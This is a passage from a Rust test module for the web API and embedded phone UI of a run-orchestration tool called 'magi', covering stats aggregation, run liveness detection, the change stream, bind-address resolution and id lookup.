7865        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
7866        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
7867    }
7868
7869    #[tokio::test]
7870    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
7871        let f = Fixture::start().await;
7872        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7873
7874        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7875        assert_eq!(bumps["merged"], 1);
7876        assert_eq!(bumps["recorded"], 0);
7877        // `merged` is nonzero, so coverage still reads as a real 0%, not an
7878        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
7879        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
7880        // `pr_opened` and `recorded` are both zero here, so these rates have
7881        // no denominator to compute from and must be null.
7882        assert_eq!(bumps["automerge_rate"], Value::Null);
7883        assert_eq!(bumps["attention_rate"], Value::Null);
7884    }
7885
7886    #[tokio::test]
7887    async fn stats_queue_counts_come_from_the_live_queue() {
7888        let f = Fixture::start().await;
7889        let q = f.queue();
7890        let mut queued = Task::new(
7891            "queued task".to_owned(),
7892            "do it".to_owned(),
7893            PathBuf::from("/repo"),
7894            Source::Human,
7895        );
7896        q.put(&mut queued).expect("put queued");
7897        let mut held = Task::new(
7898            "held task".to_owned(),
7899            "do it later".to_owned(),
7900            PathBuf::from("/repo"),
7901            Source::Human,
7902        );
7903        held.hold_machine(Some("out of attempts".to_owned()));
7904        q.put(&mut held).expect("put held");
7905
7906        let queue = f.get("/api/stats").await.json()["queue"].clone();
7907        assert_eq!(queue["queued"], 1);
7908        assert_eq!(queue["held"], 1);
7909        assert_eq!(queue["running"], 0);
7910        assert_eq!(queue["done"], 0);
7911        assert_eq!(queue["failed"], 0);
7912        assert_eq!(queue["blocked"], 0);
7913    }
7914
7915    #[tokio::test]
7916    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
7917        let f = Fixture::start().await;
7918        let stats = f.get("/api/stats").await;
7919        assert_eq!(stats.status, 200);
7920        assert_eq!(stats.json()["totals"]["runs"], 0);
7921        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
7922        assert_eq!(stats.json()["runs_unreadable"], 0);
7923        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
7924        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
7925        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
7926        assert_eq!(stats.json()["repo"], Value::Null);
7927    }
7928
7929    #[tokio::test]
7930    async fn stats_lists_every_repository_with_runs_recorded() {
7931        let f = Fixture::start().await;
7932        write_run_repo(
7933            &f.runs(),
7934            "20260902-140501-a",
7935            RunStatus::Merged,
7936            "/repos/a",
7937        );
7938        write_run_repo(
7939            &f.runs(),
7940            "20260902-140502-b",
7941            RunStatus::Merged,
7942            "/repos/a",
7943        );
7944        write_run_repo(
7945            &f.runs(),
7946            "20260902-140503-c",
7947            RunStatus::Blocked,
7948            "/repos/b",
7949        );
7950
7951        let stats = f.get("/api/stats").await;
7952        assert_eq!(stats.status, 200);
7953        // Unfiltered - the aggregate across both repositories.
7954        assert_eq!(stats.json()["totals"]["runs"], 3);
7955        assert_eq!(stats.json()["repo"], Value::Null);
7956
7957        let repos = stats.json()["repos"].clone();
7958        let repos = repos.as_array().unwrap();
7959        assert_eq!(repos.len(), 2);
7960        // Busiest (2 runs) first.
7961        assert_eq!(repos[0]["repo"], "/repos/a");
7962        assert_eq!(repos[0]["name"], "a");
7963        assert_eq!(repos[0]["runs"], 2);
7964        assert_eq!(repos[1]["repo"], "/repos/b");
7965        assert_eq!(repos[1]["runs"], 1);
7966    }
7967
7968    #[tokio::test]
7969    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
7970        let f = Fixture::start().await;
7971        write_run_repo(
7972            &f.runs(),
7973            "20260902-140501-a",
7974            RunStatus::Merged,
7975            "/repos/a",
7976        );
7977        write_run_repo(
7978            &f.runs(),
7979            "20260902-140502-b",
7980            RunStatus::Blocked,
7981            "/repos/b",
7982        );
7983
7984        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
7985        assert_eq!(stats.status, 200);
7986        assert_eq!(stats.json()["totals"]["runs"], 1);
7987        assert_eq!(stats.json()["totals"]["merged"], 1);
7988        assert_eq!(stats.json()["repo"], "/repos/a");
7989        // The repository list itself is unaffected by the filter - it is
7990        // what a client switches repositories from.
7991        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
7992        // runs_unreadable is a whole-workload count, never scoped to the
7993        // selected repository - see StatsView::runs_unreadable's own doc.
7994        assert_eq!(stats.json()["runs_unreadable"], 0);
7995    }
7996
7997    #[tokio::test]
7998    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
7999        let f = Fixture::start().await;
8000        write_run_repo(
8001            &f.runs(),
8002            "20260902-140501-a",
8003            RunStatus::Merged,
8004            "/repos/a",
8005        );
8006
8007        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
8008        assert_eq!(stats.status, 404);
8009    }
8010
8011    #[tokio::test]
8012    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
8013        let f = Fixture::start().await;
8014        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
8015
8016        let summary = f.get("/api/runs").await.json();
8017        let row = &summary[0];
8018        assert_eq!(row["short"], "a1b2");
8019        assert_eq!(row["status"], "ready");
8020        assert_eq!(row["done"], true);
8021        assert_eq!(row["title"], "Add a web UI");
8022        assert_eq!(row["repo_name"], "magi");
8023        assert_eq!(row["judges"], 3);
8024        assert_eq!(row["winner"], Value::Null);
8025        assert_eq!(row["reviews"], 0);
8026
8027        // The short id resolves, and the detail route is the state itself, not
8028        // a projection of it: the UI reads fields the summary does not carry.
8029        let detail = f.get("/api/runs/a1b2").await;
8030        assert_eq!(detail.status, 200);
8031        assert_eq!(detail.json()["base_branch"], "main");
8032        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
8033    }
8034
8035    /// `status: "ready"` alone cannot tell a run still headed for a landing
8036    /// (a PR closed without merging, say) apart from one `[merge] mode =
8037    /// "none"` left unmerged for good — the confusion the operator flagged
8038    /// after the CLI report already grew a `not landed — nothing to do by
8039    /// design` line for exactly this case (`report.rs`). Both the list route
8040    /// and the detail route must carry a flag the phone can key on instead of
8041    /// re-deriving it from `status` + `merge.mode` itself.
8042    #[tokio::test]
8043    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
8044        let f = Fixture::start().await;
8045
8046        let mut none_run = RunState::new(
8047            PathBuf::from("/repo/magi"),
8048            "main".to_owned(),
8049            "0123456789abcdef".to_owned(),
8050            "Add a web UI".to_owned(),
8051            Config::default(),
8052        );
8053        none_run.id = "20260902-140503-none".to_owned();
8054        none_run.status = RunStatus::Ready;
8055        none_run.merge = Some(crate::run::MergeOutcome {
8056            mode: crate::config::MergeMode::None,
8057            ok: true,
8058            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
8059        });
8060        write_state(&f.runs(), &none_run);
8061
8062        let mut pr_run = RunState::new(
8063            PathBuf::from("/repo/magi"),
8064            "main".to_owned(),
8065            "0123456789abcdef".to_owned(),
8066            "Add a web UI".to_owned(),
8067            Config::default(),
8068        );
8069        pr_run.id = "20260902-140504-prcl".to_owned();
8070        pr_run.status = RunStatus::Ready;
8071        pr_run.merge = Some(crate::run::MergeOutcome {
8072            mode: crate::config::MergeMode::Pr,
8073            ok: false,
8074            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
8075        });
8076        write_state(&f.runs(), &pr_run);
8077
8078        let summary = f.get("/api/runs").await.json();
8079        let rows: std::collections::HashMap<&str, &Value> = summary
8080            .as_array()
8081            .expect("an array")
8082            .iter()
8083            .map(|r| (r["id"].as_str().expect("an id"), r))
8084            .collect();
8085        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
8086        assert_eq!(
8087            rows[none_run.id.as_str()]["unmerged_by_design"],
8088            true,
8089            "a mode-none Ready must be flagged in the list"
8090        );
8091        assert_eq!(
8092            rows[pr_run.id.as_str()]["unmerged_by_design"],
8093            false,
8094            "a Ready reached by a closed pull request is a different case"
8095        );
8096
8097        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
8098        assert_eq!(none_detail["status"], "ready");
8099        assert_eq!(none_detail["unmerged_by_design"], true);
8100
8101        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
8102        assert_eq!(pr_detail["unmerged_by_design"], false);
8103    }
8104
8105    /// `RunState::active` is only ever cleared by whoever populated it, so the
8106    /// detail route also has to say whether a daemon is actually still
8107    /// driving this run right now — otherwise a seat from a killed process's
8108    /// last wave would read as live forever.
8109    #[tokio::test]
8110    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
8111        let f = Fixture::start().await;
8112        // Matches `write_daemon`'s hard-coded `current.run`, so the second
8113        // half of this test can claim the daemon is working on it without a
8114        // second helper.
8115        let id = "20260902-140502-bbbb";
8116        let mut state = RunState::new(
8117            PathBuf::from("/repo/magi"),
8118            "main".to_owned(),
8119            "0123456789abcdef".to_owned(),
8120            "Add a web UI".to_owned(),
8121            Config::default(),
8122        );
8123        state.id = id.to_owned();
8124        state.status = RunStatus::Judging;
8125        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
8126        let dir = f.runs().join(id);
8127        std::fs::create_dir_all(&dir).expect("run dir");
8128        std::fs::write(
8129            dir.join("run.json"),
8130            serde_json::to_string_pretty(&state).expect("serialize run"),
8131        )
8132        .expect("write run.json");
8133
8134        // No daemon.json at all, and no `driver_pid` recorded either (this
8135        // state was written directly, never through `execute()`): there is
8136        // nothing to confirm either way, so the route must say `"unknown"` —
8137        // never `"dead"`, which is exactly the false diagnosis a manual `magi
8138        // run` used to get from this route before `driver_pid` existed.
8139        let cold = f.get(&format!("/api/runs/{id}")).await.json();
8140        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
8141        assert_eq!(cold["live"], "unknown", "{cold}");
8142
8143        // A fresh heartbeat naming exactly this run: the same entry now reads
8144        // as confirmed, not merely recorded.
8145        write_daemon(f.home.path(), Timestamp::now());
8146        let warm = f.get(&format!("/api/runs/{id}")).await.json();
8147        assert_eq!(warm["live"], "live", "{warm}");
8148    }
8149
8150    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
8151    /// review` claims no daemon at all, so before this field existed the
8152    /// route above read it as `"dead"` — indistinguishable from a run a
8153    /// killed process abandoned — the whole time it was genuinely still
8154    /// answering. With a live pid recorded, it must read `"live"` even
8155    /// though no daemon claims it.
8156    #[tokio::test]
8157    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
8158        let f = Fixture::start().await;
8159        let id = "20260922-090000-cccc";
8160        let mut state = RunState::new(
8161            PathBuf::from("/repo/magi"),
8162            "main".to_owned(),
8163            "0123456789abcdef".to_owned(),
8164            "Review only".to_owned(),
8165            Config::default(),
8166        );
8167        state.id = id.to_owned();
8168        state.status = RunStatus::Reviewing;
8169        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8170        // This test process's own pid: guaranteed alive, and never needs a
8171        // real daemon or a second process to prove it. The matching start-time
8172        // marker is what `liveness` now requires alongside a live pid — see
8173        // `RunState::driver_started_at`'s own doc for why the pid alone is
8174        // not enough.
8175        state.driver_pid = Some(std::process::id());
8176        state.driver_started_at = Some(
8177            crate::proc::process_started_at(std::process::id())
8178                .expect("this test process's own start time must be queryable"),
8179        );
8180        let dir = f.runs().join(id);
8181        std::fs::create_dir_all(&dir).expect("run dir");
8182        std::fs::write(
8183            dir.join("run.json"),
8184            serde_json::to_string_pretty(&state).expect("serialize run"),
8185        )
8186        .expect("write run.json");
8187
8188        let detail = f.get(&format!("/api/runs/{id}")).await.json();
8189        assert_eq!(detail["live"], "live", "{detail}");
8190    }
8191
8192    /// A killed manual run's pid can be handed to a wholly unrelated later
8193    /// process — a live query on `driver_pid` alone would read this as
8194    /// `"live"`, exactly the false positive `driver_started_at` exists to
8195    /// catch (see that field's own doc, and `RunState::liveness_with`'s
8196    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
8197    #[tokio::test]
8198    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8199        let f = Fixture::start().await;
8200        let id = "20260922-090100-dddd";
8201        let mut state = RunState::new(
8202            PathBuf::from("/repo/magi"),
8203            "main".to_owned(),
8204            "0123456789abcdef".to_owned(),
8205            "Review only".to_owned(),
8206            Config::default(),
8207        );
8208        state.id = id.to_owned();
8209        state.status = RunStatus::Reviewing;
8210        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8211        // This test process's own pid really is alive, but the marker
8212        // recorded here does not match what it actually started at —
8213        // standing in for the pid having since been reused by a different
8214        // process than the one that wrote `run.json`.
8215        state.driver_pid = Some(std::process::id());
8216        state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8217        let dir = f.runs().join(id);
8218        std::fs::create_dir_all(&dir).expect("run dir");
8219        std::fs::write(
8220            dir.join("run.json"),
8221            serde_json::to_string_pretty(&state).expect("serialize run"),
8222        )
8223        .expect("write run.json");
8224
8225        let detail = f.get(&format!("/api/runs/{id}")).await.json();
8226        assert_eq!(detail["live"], "dead", "{detail}");
8227    }
8228
8229    /// The deck's competition list is normally the first place an operator
8230    /// sees an old run. It must carry the same process verdict as detail, or
8231    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
8232    #[test]
8233    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8234        let mk = |id: &str, pid: Option<u32>| {
8235            let mut s = RunState::new(
8236                PathBuf::from("/repo/magi"),
8237                "main".to_owned(),
8238                "0123456789abcdef".to_owned(),
8239                "Add a web UI".to_owned(),
8240                Config::default(),
8241            );
8242            s.id = id.to_owned();
8243            s.driver_pid = pid;
8244            s.driver_started_at = Some("t0".to_owned());
8245            s
8246        };
8247        let states = vec![
8248            mk("20260902-140502-aaaa", Some(77)),
8249            mk("20260902-140502-bbbb", Some(77)),
8250            mk("20260902-140502-cccc", Some(77)),
8251            mk("20260902-140502-dddd", None),
8252        ];
8253        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8254        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8255        let sup: HashMap<String, String> = [(
8256            "20260902-140502-aaaa".to_owned(),
8257            "20260902-140502-cccc".to_owned(),
8258        )]
8259        .into();
8260
8261        let status_calls = std::cell::Cell::new(0);
8262        let identity_calls = std::cell::Cell::new(0);
8263        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8264            |_| {
8265                status_calls.set(status_calls.get() + 1);
8266                Some(true)
8267            },
8268            |_| {
8269                identity_calls.set(identity_calls.get() + 1);
8270                Some("t0".to_owned())
8271            },
8272        ));
8273        let rows = summarize(
8274            states,
8275            &open,
8276            &claimed,
8277            &sup,
8278            |p| probe.borrow_mut().status(p),
8279            |p| probe.borrow_mut().started_at(p),
8280        );
8281
8282        assert_eq!(status_calls.get(), 1, "one pid, one status query");
8283        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8284        assert_eq!(rows.len(), 4);
8285        assert!(!rows[0].waiting && rows[1].waiting);
8286        assert_eq!(rows[0].live, crate::run::Liveness::Live);
8287        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8288        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8289        assert_eq!(rows[1].superseded_by, None);
8290    }
8291
8292    #[test]
8293    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8294        let mut state = RunState::new(
8295            PathBuf::from("/repo/magi"),
8296            "main".to_owned(),
8297            "0123456789abcdef".to_owned(),
8298            "Review only".to_owned(),
8299            Config::default(),
8300        );
8301        state.id = "20260922-090200-dead".to_owned();
8302        state.status = RunStatus::Reviewing;
8303        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8304            .expect("serialize list row");
8305        assert_eq!(row["status"], "reviewing");
8306        assert_eq!(row["live"], "dead", "{row}");
8307        assert!(!row["done"].as_bool().unwrap());
8308    }
8309
8310    #[tokio::test]
8311    async fn the_run_list_is_newest_first_and_honours_a_limit() {
8312        let f = Fixture::start().await;
8313        for id in [
8314            "20260902-140501-aaaa",
8315            "20260902-140502-bbbb",
8316            "20260902-140503-cccc",
8317        ] {
8318            write_run(&f.runs(), id, RunStatus::Merged);
8319        }
8320
8321        let all = f.get("/api/runs").await.json();
8322        let capped = f.get("/api/runs?limit=2").await.json();
8323
8324        assert_eq!(all[0]["id"], "20260902-140503-cccc");
8325        assert_eq!(all.as_array().map(Vec::len), Some(3));
8326        assert_eq!(capped.as_array().map(Vec::len), Some(2));
8327        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8328    }
8329
8330    #[tokio::test]
8331    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8332        let f = Fixture::start().await;
8333        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8334
8335        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8336
8337        assert_eq!(res.status, 200);
8338        assert!(
8339            res.headers
8340                .contains("content-type: text/plain; charset=utf-8"),
8341            "a browser must render it, not download it: {}",
8342            res.headers
8343        );
8344        // The assertion is on content, not on the absence of escapes: colour
8345        // is a process-global that `serve` turns off at startup, and another
8346        // test in this binary may own it while this one runs.
8347        assert!(
8348            res.body.contains("20260902-140501-a1b2"),
8349            "the report is about the run that was asked for: {}",
8350            res.body
8351        );
8352    }
8353
8354    #[tokio::test]
8355    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8356        let f = Fixture::start().await;
8357
8358        let html = f.get("/").await;
8359        let css = f.get("/app.css").await;
8360        let js = f.get("/app.js").await;
8361
8362        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8363        assert!(
8364            html.headers
8365                .contains("content-type: text/html; charset=utf-8")
8366        );
8367        assert!(css.headers.contains("content-type: text/css"));
8368        assert!(js.headers.contains("content-type: text/javascript"));
8369        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8370    }
8371
8372    #[test]
8373    fn review_rounds_label_a_distinct_verified_head() {
8374        assert!(APP_JS.contains("round.verified_head"));
8375        assert!(APP_JS.contains("verified HEAD"));
8376        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8377    }
8378
8379    #[test]
8380    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8381        // A blocked task's chip and note must not fall back to a queued-like
8382        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
8383        // itself by e11fc58 but never checked here.
8384        assert!(APP_JS.contains("blocked: { glyph:"));
8385        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8386
8387        // `blocked_by` mixes task ids and question ids in the same list, and
8388        // the client can only tell them apart by checking each id against
8389        // what it actually knows - never by guessing from the id's shape.
8390        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8391        assert!(
8392            APP_JS.contains(
8393                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8394            ),
8395            "the note line must name what a blocked task is waiting on, not just that it is blocked"
8396        );
8397        // The classification must key off `status_str`, never off `blocked_by`
8398        // or `block_reason` merely being present - both can survive briefly
8399        // on a task a hold or a dead daemon just moved off `blocked`.
8400        assert!(APP_JS.contains("if (status === \"blocked\") {"));
8401
8402        // A question a task is blocked on gets its own node in the same
8403        // dependency graph, not just a task-shaped node with nothing known
8404        // about it.
8405        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8406        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8407        assert!(
8408            APP_JS.contains("location.hash = \"#/questions\";"),
8409            "a question node must jump to the Questions screen, not pretend to be a task"
8410        );
8411
8412        // `Task::answers` - decisions already made - are shown as a record on
8413        // the card, the same disclosure style as the full instruction.
8414        assert!(APP_JS.contains("Resolved questions"));
8415        assert!(APP_JS.contains("r.answersList.append("));
8416        assert!(APP_CSS.contains(".task-answers"));
8417    }
8418
8419    #[test]
8420    fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8421        // A `kind: "task"` notice link used to drop the id on the floor and
8422        // point at `#/queue` outright, so every task notification landed on
8423        // whatever happened to be first in the Backlog rather than the task
8424        // it was actually about.
8425        assert!(
8426            APP_JS.contains(
8427                "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8428            ),
8429            "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8430        );
8431        assert!(
8432            !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8433            "regression: the task link must not go back to naming the bare Backlog route"
8434        );
8435
8436        // The route parser has to read that id back out before applyRoute()
8437        // can do anything with it.
8438        assert!(
8439            APP_JS.contains(
8440                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8441            ),
8442            "`#/queue/<id>` must parse into a route carrying that id"
8443        );
8444
8445        // And the Backlog view has to actually land on the card once it can
8446        // - see consumeQueueFocus(), which renderQueue() calls on every pass
8447        // so a focus set before the queue has loaded is retried once it has.
8448        assert!(APP_JS.contains("state.queueFocus = route.id;"));
8449        assert!(APP_JS.contains("function consumeQueueFocus()"));
8450        assert!(APP_JS.contains("jumpToTask(id);"));
8451    }
8452
8453    #[test]
8454    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8455        // consumeQueueFocus() clears an active Backlog search before it can
8456        // scroll to the target card (the sections list is hidden while a
8457        // search is showing), by recursing back into renderQueue(). The
8458        // fixer's first cut nulled state.queueFocus before that recursive
8459        // call, so the second pass saw nothing to jump to and the jump was
8460        // silently dropped whenever a notification's link was opened with a
8461        // stale search still active. state.queueFocus must only be cleared
8462        // right before jumpToTask() actually runs.
8463        assert!(
8464            APP_JS.contains(
8465                "  if (!id || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
8466            ),
8467            "the search-clearing branch must run before state.queueFocus is cleared, or the \
8468             recursive renderQueue() call has nothing left to jump to"
8469        );
8470        assert!(
8471            APP_JS.contains("state.queueFocus = null;\n  jumpToTask(id);"),
8472            "state.queueFocus must be cleared immediately before the jump it guards, not earlier"
8473        );
8474    }
8475
8476    #[test]
8477    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8478        // The task's own repro: only the link text inside .notice-meta was
8479        // clickable, so a tap on the message, the timestamp, or the card's
8480        // padding did nothing - on a phone that reads as "the card doesn't
8481        // work" even though the tiny link inside it did. Mark read / Dismiss
8482        // must keep working independently of this: `.closest("a, button")`
8483        // is what lets a tap that actually lands on those elements fall
8484        // through instead of being hijacked into a navigation.
8485        assert!(
8486            APP_JS.contains(
8487                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8488            ),
8489            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8490        );
8491    }
8492
8493    #[test]
8494    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8495        assert!(
8496            APP_JS.contains("round.verified_head !== round.head"),
8497            "a round that verified an earlier commit must be visibly distinct from one that \
8498             verified the head reviewers are looking at now"
8499        );
8500        assert!(
8501            APP_JS.contains("round.verified_at"),
8502            "when a check ran must be on the wire, not just which commit"
8503        );
8504        assert!(
8505            APP_JS.contains("resource_blocked"),
8506            "a command magi never got to run (shared build cache contention) must not render \
8507             the same as a command that ran and failed"
8508        );
8509    }
8510
8511    #[tokio::test]
8512    async fn the_change_stream_announces_the_current_revisions_on_connect() {
8513        let f = Fixture::start().await;
8514
8515        let mut socket = tokio::net::TcpStream::connect(f.addr)
8516            .await
8517            .expect("connect");
8518        socket
8519            .write_all(
8520                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8521            )
8522            .await
8523            .expect("write request");
8524
8525        // Read until the first event arrives rather than to end of stream: the
8526        // stream is endless by design, which is the point of the route.
8527        let mut seen = String::new();
8528        let mut buf = [0u8; 1024];
8529        while !seen.contains("event: change") {
8530            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8531                .await
8532                .expect("the stream must speak within five seconds")
8533                .expect("read");
8534            assert!(read > 0, "the server closed the change stream: {seen}");
8535            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8536        }
8537
8538        assert!(
8539            seen.to_lowercase()
8540                .contains("content-type: text/event-stream"),
8541            "the browser only reconnects automatically for a real SSE stream: {seen}"
8542        );
8543        let data = seen
8544            .lines()
8545            .find_map(|l| l.strip_prefix("data:"))
8546            .expect("a data line");
8547        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8548        assert!(
8549            payload["queue_rev"].is_u64()
8550                && payload["runs_rev"].is_u64()
8551                && payload["questions_rev"].is_u64()
8552                && payload["talks_rev"].is_u64()
8553                && payload["notifications_rev"].is_u64()
8554                && payload["loop_rev"].is_u64(),
8555            "the client needs one revision per store to know what to refetch, \
8556             and `talks_rev` is the only notification a standing talk gets - a \
8557             phone whose radio slept through a turn learns about it here, as \
8558             does one whose operator started the loop from another device: \
8559             {payload}"
8560        );
8561
8562        // The front end re-polls health on a timer and on wake, and takes the
8563        // revisions from that answer whenever the stream is not up. So health
8564        // has to carry every key the stream carries: a phone on a link that
8565        // will not hold an SSE connection is exactly the phone that must still
8566        // notice a question, and a missing key there is not a 500 but a UI
8567        // that quietly stops updating.
8568        let health = f.get("/api/health").await.json();
8569        for key in [
8570            "queue_rev",
8571            "runs_rev",
8572            "questions_rev",
8573            "talks_rev",
8574            "notifications_rev",
8575            "loop_rev",
8576        ] {
8577            assert!(
8578                health[key].is_u64(),
8579                "health is the change stream's fallback and is missing `{key}`: {health}"
8580            );
8581        }
8582    }
8583
8584    #[tokio::test]
8585    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8586        let f = Fixture::start().await;
8587        let before = f.get("/api/health").await.json()["talks_rev"]
8588            .as_u64()
8589            .expect("talks_rev");
8590
8591        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8592        std::thread::sleep(Duration::from_millis(10));
8593        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8594        on_disk.turns.push(crate::talk::Turn {
8595            who: crate::talk::Who::Operator,
8596            body: "a new turn".to_owned(),
8597            at: Timestamp::now(),
8598            attachments: Vec::new(),
8599        });
8600        f.talks().put(&mut on_disk).expect("record a turn");
8601
8602        let after = f.get("/api/health").await.json()["talks_rev"]
8603            .as_u64()
8604            .expect("talks_rev");
8605        assert_ne!(
8606            before, after,
8607            "a phone must be able to notice a talk's reply without polling every store"
8608        );
8609    }
8610
8611    #[test]
8612    fn bind_reads_back_from_the_spelling_the_cli_prints() {
8613        // The CLI shows the default in `--help` and parses whatever comes
8614        // back, so the two directions have to agree or `--bind auto` breaks
8615        // the moment someone copies the help text.
8616        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
8617            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
8618        }
8619        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
8620        assert!("everywhere".parse::<Bind>().is_err());
8621    }
8622
8623    #[test]
8624    fn an_explicit_bind_address_is_taken_verbatim() {
8625        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
8626
8627        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
8628
8629        assert_eq!(addr, asked);
8630        assert!(
8631            warning.is_none(),
8632            "an operator who named an address gets no lecture"
8633        );
8634    }
8635
8636    #[test]
8637    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
8638        let (addr, warning) = resolve_bind(&Bind::Auto);
8639
8640        // This has to hold on a CI runner with no `tailscale` and on a dev box
8641        // with one, so the invariant asserted is the one shared by both
8642        // outcomes: the address is either a real tailnet address offered
8643        // without comment, or loopback with an explanation. What must never
8644        // happen is a silent fallback - an operator told "listening on
8645        // 127.0.0.1" with no reason would go looking for a firewall.
8646        match addr {
8647            IpAddr::V4(ip) if is_tailnet(&ip) => {
8648                assert!(warning.is_none(), "a tailnet address needs no warning");
8649            }
8650            other => {
8651                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
8652                let warning = warning.expect("a fallback has to explain itself");
8653                assert!(
8654                    warning.contains("127.0.0.1") && warning.contains("local-only"),
8655                    "the warning says what happened and what it costs: {warning}"
8656                );
8657            }
8658        }
8659    }
8660
8661    #[test]
8662    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
8663        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
8664        // boundary cases are what stop us binding to some other tool's idea of
8665        // an address.
8666        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
8667        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
8668        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
8669        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
8670        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
8671    }
8672
8673    #[test]
8674    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
8675        let ids = vec![
8676            "20260902-140501-aaaa".to_owned(),
8677            "20260902-140502-aabb".to_owned(),
8678        ];
8679
8680        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
8681        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
8682        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
8683
8684        assert_eq!(missing.status, StatusCode::NOT_FOUND);
